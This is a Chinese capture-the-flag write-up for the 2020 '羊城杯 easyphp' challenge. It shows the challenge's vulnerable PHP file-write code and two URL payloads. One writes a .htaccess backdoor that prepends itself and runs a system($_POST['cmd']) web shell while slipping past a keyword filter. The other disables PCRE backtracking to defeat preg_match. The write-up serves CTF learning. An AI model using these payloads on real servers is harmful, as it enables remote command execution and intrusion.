[羊城杯2020]easyphp

和[XNUCA2019Qualifier]EasyPHP基本一样,唯一的区别就是少了include_once导致没办法通过error_log来做,预期解应该就是那道题的非预期。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
 <?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>

文件包含,其中文件内容不能有on|html|type|flag|upload|file关键字,文件名只能有字母和点,且每次访问都会删除当前目录除index.php之外的文件。

写个一句话,发现没有被解析,可能是php解析配置php_flag engine关闭了。配置的问题还是要回归配置文件,虽然主配置文件中关闭了php解析,但.htaccess优先度高于主配置文件,因此我们可以使用.htaccess执行php代码。

法一

利用.htaccess构成后门,payload:

1
2
?filename=.htaccess&content=php_value%20auto_prepend_fi\%0ale%20".htaccess"%0a%23%20<?php system($_POST["cmd"]);?>\

法二

通过php_value来设置preg_macth正则回溯次数

payload:

1
2
?filename=.htaccess&content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\

使preg_match返回False,继而绕过了正则判断,然后的过程由于源码没有使用include,所以应该还是利用.htaccess写入php代码自包含吧,那和前一种方法差不多(自认为)。

参考链接:https://tyskill.github.io/posts/ycb2020/#%E6%B3%95%E4%B8%80